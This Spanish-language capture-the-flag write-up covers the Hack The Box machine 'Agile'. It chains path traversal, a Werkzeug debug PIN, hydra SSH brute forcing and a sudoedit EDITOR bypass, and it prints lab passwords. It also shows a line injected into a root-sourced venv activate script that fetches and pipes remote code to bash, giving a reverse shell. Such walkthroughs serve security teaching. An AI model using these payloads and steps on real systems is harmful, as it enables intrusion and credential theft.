En Agile explotamos una vulnerabilidad que nos permitio el acceso al codigo fuente de la aplicacion Flask y a su vez obtener acceso a la maquina tras generar Werkzeug Console PIN. Credenciales encontradas en una base de datos nos ayudaron a cambiar a un primer usuario. Mediante Chrome Remote Debugger logramos obtener credenciales de un segundo usuario. Finalmente escalamos privilegios con una vulnerabilidad en sudoedit.
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Nmap 7.93 scan initiated Mon Mar 13 23:06:19 2023 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.203Nmap scan report for 10.10.11.203
Host is up (0.082s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:
|256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Mar 13 23:06:30 2023 -- 1 IP address (1 host up) scanned in 10.09 seconds
Web Site
El sitio redirige hacia el dominio superpass.htb el cual agregamos al archivo /etc/hosts.
Tras dar a registrar nos redirige a la direccion /vault donde podemos administrar contrasenas, la contrasena se genera automaticamente y es editable.
Tiene la opcion de “exportar” contrasenas, esta opcion permite descargar todas las contrasenas del usuario en un archivo .csv.
Path Traversal -> User
Tras modificar el valor del parametro fn en /download, observamos que es posible realizar la lectura de archivos locales.
Tras generar un error, enviando la direccion de un archivo que no existe, se observa que la aplicacion esta en modo debug y nos muestra el directorio completo donde se almacena, en este caso las vistas.
Source Code
Tras analizar el archivo vault_views.py, este, nos guio hacia diferentes archivos, que, al final nos permitieron obtener el codigo fuente de la aplicacion, no en su totalidad, pero si como para poder entender el funcionamiento y estructura de la misma. Se presenta la estructura de los archivos que logramos obtener que mas adelante se muestra el como se obtuvieron.
Para entender un poco de como se logro obtener el codigo fuente de los archivos anteriores, observamos como son importadas las diferentes funciones en el archivo views_vault.py, en este caso vemos que la funcion get_random() esta en el archivo utility_service.py que a su vez esta dentro de la carpeta services/, en el paquete superpass/. Lo cual generaria la siguiente direccion completa /app/app/superpass/services/utility_service.py
La direccion anterior es correcta y obtenemos el codigo fuente de dicho archivo. De esta manera obtuvimos la mayoria de archivos, exeptuando los archivos con el comentario ‘custom’.
Python
Para poder realizar la lectura de archivos de manera mas rapida creamos un script el cual nos permitia realizar la lectura de una direccion dada, asi mismo utilizamos dicho script para poder obtener informacion de los diferentes procesos en ejecucion de la maquina.
Observamos que gunicorn esta siendo ejecutado, para la lectura del archivo config_prod.json, nos referimos al post How To Serve Flask Applications with Gunicorn … en el cual explican como es posible desplegar una app en flask, con la informacion sobre el servicio creado, la replicamos en la maquina adivinando el nombre del servicio, con ello encontramos la informacion de este.
En el siguiente expand me se presenta el codigo fuente de la aplicacion, al menos de los archivos encontrados. Tras analizar el codigo fuente no logramos identificar alguna vulnerabilidad dentro de la aplicacion.
# /app/app/superpass/views/account_views.pyimportflaskimportstringfromflask_loginimportlogin_user,logout_userfromsuperpass.infrastructure.view_modifiersimportresponsefromsuperpass.servicesimportuser_serviceblueprint=flask.Blueprint('account',__name__,template_folder='templates')@blueprint.route('/account/register',methods=['GET'])@response(template_file='account/register.html')defregister_get():return{}@blueprint.route('/account/register',methods=['POST'])@response(template_file='account/register.html')defregister_post():r=flask.requestusername=r.form.get('username','').strip()password=r.form.get('password','').strip()ifnotusernameornotpassword:return{'error':'Please fill in username and password','username':username}iflen([cforcinusernameifcnotinstring.ascii_letters+string.digits])>0:return{'error':'Please use only letters and numbers in usernames','username':username,}user=user_service.create_user(username,password)ifnotuser:return{'error':'User already exists','username':username,}login_user(user,remember=True)returnflask.redirect('/vault')@blueprint.route('/account/login',methods=['GET'])@response(template_file='account/login.html')deflogin_get():return{}@blueprint.route('/account/login',methods=['POST'])@response(template_file='account/login.html')deflogin_post():r=flask.requestusername=r.form.get('username','').strip()password=r.form.get('password','').strip()ifnotusernameornotpassword:return{'error':'Please fill in username and password','username':username}user=user_service.login_user(username,password)ifnotuser:return{'error':'Login failed','username':username,}login_user(user,remember=True)returnflask.redirect(flask.url_for('vault.vault'))@blueprint.route('/account/logout')deflogout():logout_user()returnflask.redirect(flask.url_for('home.index'))
# /app/app/superpass/infrastructure/view_modifiers.pyfromfunctoolsimportwrapsimportflaskfromflask_loginimportcurrent_userimportwerkzeugimportwerkzeug.wrappersdefresponse(*,mimetype:str=None,template_file:str=None):defresponse_inner(f):#print(f"Wrapping in response {f.__name__}", flush=True)@wraps(f)defview_method(*args,**kwargs):response_val=f(*args,**kwargs)ifisinstance(response_val,werkzeug.wrappers.Response):returnresponse_valifisinstance(response_val,flask.Response):returnresponse_valifisinstance(response_val,dict):model=dict(response_val)else:model=dict()model['current_user']=current_useriftemplate_fileandnotisinstance(response_val,dict):raiseException(f"Invalid return type {type(response_val)}, we expected a dict as the return value.")iftemplate_file:response_val=flask.render_template(template_file,**response_val)resp=flask.make_response(response_val)resp.model=modelifmimetype:resp.mimetype=mimetypereturnrespreturnview_methodreturnresponse_inner
# /app/app/superpass/data/db_session.pyimportsqlalchemyassaimportsqlalchemy.ormasormfromsuperpass.data.modelbaseimportSqlAlchemyBase__factory=Nonedefglobal_init(db_uri:str):global__factoryif__factory:returnifnotdb_uriornotdb_uri.strip():raiseException("You must specify a db string")engine=sa.create_engine(db_uri,echo=False)__factory=orm.sessionmaker(bind=engine)importsuperpass.data.__all_modelsSqlAlchemyBase.metadata.create_all(engine)defcreate_session()->orm.Session:global__factorysession=__factory()session.expire_on_commit=Falsereturnsession
Flask Debug - www-data
Como sabemos la aplicacion esta ejecutandose en modo debug, por lo que intentamos crear el PIN para poder acceder a la consola.
Nos referimos a Werkzeug - HackTricks y OpenSource - 0xdf para obtener la informacion necesaria para generar nuestro PIN. Para el valor de la MAC es necesario tomar en cuenta la version de python, en este caso 3.10.
(venv) www-data@agile:/app$ mysql -u superpassuser -p # dSA6l7q*yIVs$39Ml6ywvgK<mysql -u superpassuser -p # dSA6l7q*yIVs$39Ml6ywvgKEnter password: dSA6l7q*yIVs$39Ml6ywvgK
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 537Server version: 8.0.32-0ubuntu0.22.04.2 (Ubuntu)Copyright (c) 2000, 2023, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h'for help. Type '\c' to clear the current input statement.
mysql> show databases;show databases;+--------------------+
| Database |+--------------------+
| information_schema || performance_schema || superpass |+--------------------+
3 rows in set(0.00 sec)mysql> use superpass;use superpass;Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;show tables;+---------------------+
| Tables_in_superpass |+---------------------+
| passwords || users |+---------------------+
2 rows in set(0.00 sec)mysql> describe passwords;describe passwords;+-------------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |+-------------------+--------------+------+-----+---------+----------------+
| id | int | NO | PRI | NULL | auto_increment || created_date | datetime | YES || NULL ||| last_updated_data | datetime | YES || NULL ||| url | varchar(256)| YES || NULL ||| username | varchar(256)| YES || NULL ||| password | varchar(256)| YES || NULL ||| user_id | int | YES | MUL | NULL ||+-------------------+--------------+------+-----+---------+----------------+
7 rows in set(0.00 sec)mysql> describe users;describe users;+-----------------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |+-----------------+--------------+------+-----+---------+----------------+
| id | int | NO | PRI | NULL | auto_increment || username | varchar(256)| NO || NULL ||| hashed_password | varchar(256)| NO || NULL ||+-----------------+--------------+------+-----+---------+----------------+
3 rows in set(0.00 sec)mysql>
Dentro de estas encontramos diferentes contrasenas y usuarios, asi mismo contrasenas guardadas en el manejador. En users se almacena la informacion de autenticacion del manejador de contrasenas, en passwords las contrasenas de cada usuario del manejador.
Utilizando las contrasenas y usuarios realizamos una taque de fuerza bruta al servicio SSH, vemos que encontro un par valido.
1
2
3
4
5
6
7
8
9
10
11
12
13
π ~/htb/agile ❯ hydra -L users.txt -P users.txt ssh://superpass.htb
Hydra v9.4 (c)2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-24 13:59:11
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4[DATA] max 16 tasks per 1 server, overall 16 tasks, 529 login tries (l:23/p:23), ~34 tries per task
[DATA] attacking ssh://superpass.htb:22/
[22][ssh] host: superpass.htb login: corum password: 5db7caa1d13cc37c9fc2
[STATUS] 252.00 tries/min, 252 tries in 00:01h, 279 to do in 00:02h, 14 active
[STATUS] 238.00 tries/min, 476 tries in 00:02h, 55 to do in 00:01h, 14 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-24 14:01:22
π ~/htb/agile ❯
Shell
Accedimos por ssh con las credenciales, logrando asi obtener nuestra flag user.txt.
π ~/htb/agile ❯ ssh corum@superpass.htb # 5db7caa1d13cc37c9fc2corum@superpass.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Mar 8 15:25:35 2023 from 10.10.14.47
corum@agile:~$ ls -lah
total 48K
drwxr-x--- 8 corum corum 4.0K Feb 8 16:29 .
drwxr-xr-x 5 root root 4.0K Feb 8 16:29 ..
lrwxrwxrwx 1 root root 9 Feb 6 16:56 .bash_history -> /dev/null
-rw-r--r-- 1 corum corum 220 Jan 62022 .bash_logout
-rw-r--r-- 1 corum corum 3.7K Jan 62022 .bashrc
drwx------ 4 corum corum 4.0K Feb 8 16:29 .cache
drwxr-xr-x 4 corum corum 4.0K Feb 8 16:29 .config
drwx------ 3 corum corum 4.0K Feb 8 16:29 .local
drwx------ 3 corum corum 4.0K Feb 8 16:29 .pki
-rw-r--r-- 1 corum corum 807 Jan 62022 .profile
drwxrwxr-x 3 corum corum 4.0K Feb 8 16:29 .pytest_cache
drwx------ 2 corum corum 4.0K Feb 8 16:29 .ssh
-rw-r----- 1 root corum 33 Mar 24 17:42 user.txt
corum@agile:~$ cat user.txt
2496dc12e24bd652afbea0e175d3eaf4
corum@agile:~$
User - Edwards
Tras ejecutar pspy en la maquina observamos que existe un cronjob que ejecuta test_and_update.sh como runner, aunque existe cierta confusion ya que tambien se muestra que lo ejecuta root.
#!/bin/bash
# update prod with latest from testing constantly assuming tests are passingecho"Starting test_and_update"date
# if already running, exitps auxww | grep -v "grep"| grep -q "pytest"&&exitecho"Not already running. Starting..."# start in dev foldercd /app/app-testing
# system-wide source doesn't seem to happen in cron jobssource /app/venv/bin/activate
# run tests, exit if failurepytest -x 2>&1 >/dev/null ||exit# tests good, update prod (flask debug mode will load it instantly)cp -r superpass /app/app/
echo"Complete!"
En la carpeta tests se muestra un archivo para tests y el archivo creds.txt al cual no podemos acceder.
1
2
3
4
5
6
7
-bash-5.1$ ls -lah tests/functional/
total 20K
drwxr-xr-x 3 runner runner 4.0K Feb 7 13:12 .
drwxr-xr-x 3 runner runner 4.0K Feb 6 18:10 ..
drwxrwxr-x 2 runner runner 4.0K May 2 19:06 __pycache__
-rw-r----- 1 dev_admin runner 34 May 2 19:09 creds.txt
-rw-r--r-- 1 runner runner 2.7K May 2 19:09 test_site_interactively.py
test_site_interactively.py parece ejecutar selenium, en este caso para realizar tests a la pagina del subdominio test.superpass.htb, asi mismo se observa que esta en modo debugging en el puerto 41829.
Despues de investigar sobre el debugger encontramos que es posible conectarse al puerto 41829 siguiendo el post de Remote Debugger, en este caso obtuvimos localmente el puerto, utilizando SSH.
Utilizamos hydra con las nuevas credenciales, observamos un par valido para edwards.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
π ~/htb/agile ❯ hydra -L users.txt -P users.txt ssh://superpass.htb
Hydra v9.4 (c)2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-03-24 16:40:44
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4[DATA] max 16 tasks per 1 server, overall 16 tasks, 729 login tries (l:27/p:27), ~46 tries per task
[DATA] attacking ssh://superpass.htb:22/
[22][ssh] host: superpass.htb login: corum password: 5db7caa1d13cc37c9fc2
[22][ssh] host: superpass.htb login: edwards password: d07867c6267dcb5df0af
[STATUS] 208.00 tries/min, 208 tries in 00:01h, 524 to do in 00:03h, 13 active
[STATUS] 233.67 tries/min, 701 tries in 00:03h, 31 to do in 00:01h, 13 active
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-03-24 16:43:56
π ~/htb/agile ❯
Shell
Ingresamos por SSH logrando el acceso como edwards.
π ~/htb/agile ❯ ssh edwards@superpass.htb # d07867c6267dcb5df0afedwards@superpass.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-60-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Mar 24 19:06:50 2023 from 10.10.16.59
edwards@agile:~$ whoami;id;pwdedwards
uid=1002(edwards)gid=1002(edwards)groups=1002(edwards)/home/edwards
edwards@agile:~$
Privesc
Tras ejeutar sudo observamos que edwards puede ejecutar sudoedit sobre el archivo creds.txt y config_test.json, los cuales unicamente tiene acceso el usuario dev_admin.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
edwards@agile:~$ sudo -l -l
[sudo] password for edwards:
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
Sudoers entry:
RunAsUsers: dev_admin
RunAsGroups: dev_admin
Commands:
sudoedit /app/config_test.json
Sudoers entry:
RunAsUsers: dev_admin
RunAsGroups: dev_admin
Commands:
sudoedit /app/app-testing/tests/functional/creds.txt
edwards@agile:~$
Se muestra que al editar la variable EDITOR con un editor y un archivo, este nos permitira modificar cualquier archivo. En este caso intentamos con el archivo /app/app-testing/tests/functional/creds.txt el cual contiene las credenciales de edward para el subdominio test.superpass.htb sin embargo no son suficientes para escalar privilegios.
1
2
3
4
5
6
7
8
9
edwards@agile:~$ sudoedit --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9
edwards@agile:~$
EDITOR='vim -- /app/app-testing/tests/functional/creds.txt' sudo -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt
Como sabemos existe un cronjob que ejecuta test_and_update.sh que a su vez ejecuta source /app/venv/bin/activate como runner y posiblemente root, posiblemente podriamos escalar privilegios si editamos /app/venv/bin/activate.
Nota : pspy muestra root y runner como usuarios que ejecutan test_and_update.sh por eso se menciona “una posibilidad de escalar privilegios”, ver update.
verificamos que nuestro comando haya sido agregado al inicio del archivo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
edwards@agile:/app/venv/bin$ head /app/venv/bin/activate
# This file must be used with "source bin/activate" *from bash*# you cannot run it directlywget 10.10.14.130
deactivate (){# reset old environment variablesif[ -n "${_OLD_VIRTUAL_PATH:-}"];thenPATH="${_OLD_VIRTUAL_PATH:-}"export PATH
unset _OLD_VIRTUAL_PATH
fiedwards@agile:/app/venv/bin$
Vemos que el comando source /app/venv/bin/activate se ejecuto como root dos veces, por lo que puede existir algun otro cronjob que ejecute este archivo.
Agregamos nuevamente un comando, esta vez con una shell inversa.
1
2
3
4
5
6
7
8
9
10
11
12
edwards@agile:~$ head /app/venv/bin/activate
# This file must be used with "source bin/activate" *from bash*# you cannot run it directly$(wget -qO- 10.10.14.130/10.10.14.130:1335 | bash )deactivate (){# reset old environment variablesif[ -n "${_OLD_VIRTUAL_PATH:-}"];thenPATH="${_OLD_VIRTUAL_PATH:-}"export PATH
edwards@agile:~$
Por otro lado colocamos a la escucha en el puerto especificado, logrando obtener acesso como root y nuestra flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
π ~/htb/agile ❯ rlwrap nc -lvp 1335listening on [any]1335 ...
connect to [10.10.14.130] from superpass.htb [10.10.11.203]50054/bin/sh: 0: can't access tty; job control turned off
# whoami;id;pwdroot
uid=0(root)gid=0(root)groups=0(root)/root
# lsapp
clean.sh
root.txt
superpass.sql
testdb.sql
# cat root.txt3172c358244d66d72b922cd719d5ce3d
#
Cronjobs
Tras listar los cronjobs vemos que el usuario root ejecuta source /app/venv/bin/activate y no es como lo suponiamos (por test_and_update.sh).
Tambien observamos el cronjob de runner que ejecuta /app/test_and_update.sh.
1
2
3
4
5
6
7
8
# su runnerid
uid=1001(runner)gid=1001(runner)groups=1001(runner)cd /root
sh: 2: cd: can't cd to /root
crontab -l
# m h dom mon dow command* * * * * /app/test_and_update.sh
Se menciona lo anterior ya que el archivo /app/test_and_update.sh se mostraba en ejecucion por runner y por root, y esto se tomo en cuenta a para la parte de privesc.
UPDATE
Por alguna razon desconocida al intentar ejecutar pspy en una temrinal diferente a Alacritty, en este caso QTerminal, si muestra la ejecucion del cronjob de root /app/venv/bin/activate, quizas sea hora de cambiar de terminal.